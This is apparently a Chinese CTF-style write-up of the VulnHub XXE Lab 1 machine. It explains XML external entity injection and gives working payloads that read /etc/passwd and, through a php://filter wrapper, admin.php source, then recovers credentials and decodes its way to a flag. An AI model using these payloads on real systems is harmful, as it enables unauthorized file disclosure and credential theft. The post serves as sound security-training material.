[渗透测试学习靶机06] vulnhub 靶场 XXE Lab 1

Kali的IP地址:192.168.127.139​​​​​​​ 

靶机的IP地址:192.168.127.130

网上看到了好多xxe靶机通关的文章,但是没人写为什么可以实现文件读取,为什么是XXE漏洞,我在这里简单写一下,一来方便自己以后看,二来对还没有接触过xxe漏洞的朋友来说也比较友好

目录

一、信息搜集

1.1、扫描主机口

1.2、扫描端口

1.3、访问端口

1.4、扫描目录

二、漏洞挖掘

三、漏洞利用

总结:


一、信息搜集

1.1、扫描主机口

1.2、扫描端口

发现开放了俩个端口,一个80(http),一个5355端口(llmnr),所以我们访问80端口

1.3、访问端口

访问web服务发现为apache默认页面,猜测存在隐藏目录

1.4、扫描目录

扫到一个robots.txt文件

接着我们访问 http://192.168.127.130/robots.txt 发现是一个/xxe/目录,有个后台页面

接着访问XXE目录 http://192.168.127.130/xxe/

xxe登录框,弱密码尝试失败。直接burp抓包看看

可以看到用户名密码是通过xml传递给后端的

二、漏洞挖掘

首先我们要知道,xml是具有存储功能的,而且当我们输入一个错误的用户名的时候,错误信息就会在name标签那里展现出来,如下图:

这是为什么呢?这里就涉及到xml的特性了,我们先来看看xml的文本结构:

第一个:

<?xml version="1.0" encoding="UTF-8"?>

这部分是xml声明

第二个:

  <!DOCTYPE  文件名 [

  <!ENTITY实体名 "实体内容">

  ]>

这部分是xml的定义文档类型的DTD

第三个:

<元素名称 category=“属性”>
文本或其他元素
</元素名称>

这部分是文档元素

这三块上下连在一起就构成了xml文本的整体结构。

这里的漏洞就出现在DTD中,在xml中,可以在DTD中定义应用外部DTD以供xml来解析,其本意是为了方便在各个文档中创建共享的公共引用(这一点与文件包含比较相似)。而且,在引用外部实体之后,xml会自动将引用的外部实体内容体现在xml正文中(注意正文中引用的test的格式一定要写对,前面&后面;)。如果我们可以随意修改引用的外部实体,就有可能造成任意文件读取。

例如:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY test SYSTEM "file:///etc/passwd">

]>

<name>&test;</name>

上面的代码中,xml外部实体test被赋值为/etc/passwd,跟文章上面说的一样,xml读取的时候会直接将被读取的/etc/passwd内容显示在页面上

要注意在name标签里面的格式一定要正确,前面加&后面加; 而且都要注意是英文。

知道了上述思路之后,再看burp拦截出来的包就很简单了:

直接写一段xml通过报错读到/etc/passwd

三、漏洞利用

我们尝试构造xmlpayload

直接构造外部实体注入的payload修改post体,读取/etc/password/目录下的内容,发现能读出来,证明肯定存在xxe漏洞

<?xml version="1.0" encoding="UTF-8"?>


<!DOCTYPE r [


<!ELEMENT r ANY >


<!ENTITY admin SYSTEM "file:///etc/passwd">


]>


<root><name>&admin;</name><password>1</password></root>

前面还有个admin.php没有看到,可以读一下php的源码
php://filter/read=convert.base64-encode/resource=admin.php来获取base64编码之后的网页源码

<?xml version="1.0" encoding="UTF-8"?>


<!DOCTYPE r [


<!ELEMENT r ANY >


<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">


]>


<root><name>&admin;</name><password>admin</password></root>

返回包进行了加密,无法直接找到flag,我们直接bpdecode模块解密(非常好用)

base64解码:找到用户名密码

 用户名:administhebest  密码:e6e061838856bf47e1de730719fb2609

编码之后密码显示MD5继续解码:

获得密码:admin@123

登录xxe那个登录框不行

继续登录/xxe/admin.php的登录框,输入用户名密码回车之后出现了一个flag按钮

点击flag,很高兴,但是发现什么也没有

但是刚才的思路,我们是可以读取它的源码的,直接读取flag文件的源码,可以继续读flagmeoutPHP页面,去base64解密后,发现文件源码明文内容  

看到出现一串base64加密的字符,继续在decoder模块中解密

这又是一段base32加密的,在线base32解密:

JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5

又是一串base64加密的

L2V0Yy8uZmxhZy5waHA=

是一个路径

打开这个路径

继续base64解密后

返回出来的结果很熟悉,是php变形的webshell,但是这个webshell没有添加php头。

要想知道文件内容也很简单,浏览器可以访问并识别php文件,linux也自带php识别功能,也可以直接找在线运行网站,但是要记着写这个php文件的时候要添加<?php ?>

我们找个PHP在线运行的网站试试

https://code.y444.cn/php

成功拿到flag

总结:

首先xxexml外部实体注入漏洞,可通过进入外部实体进行攻击,例如读取敏感文件,扫描端口等等,实战中感觉出现几率不是很大

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值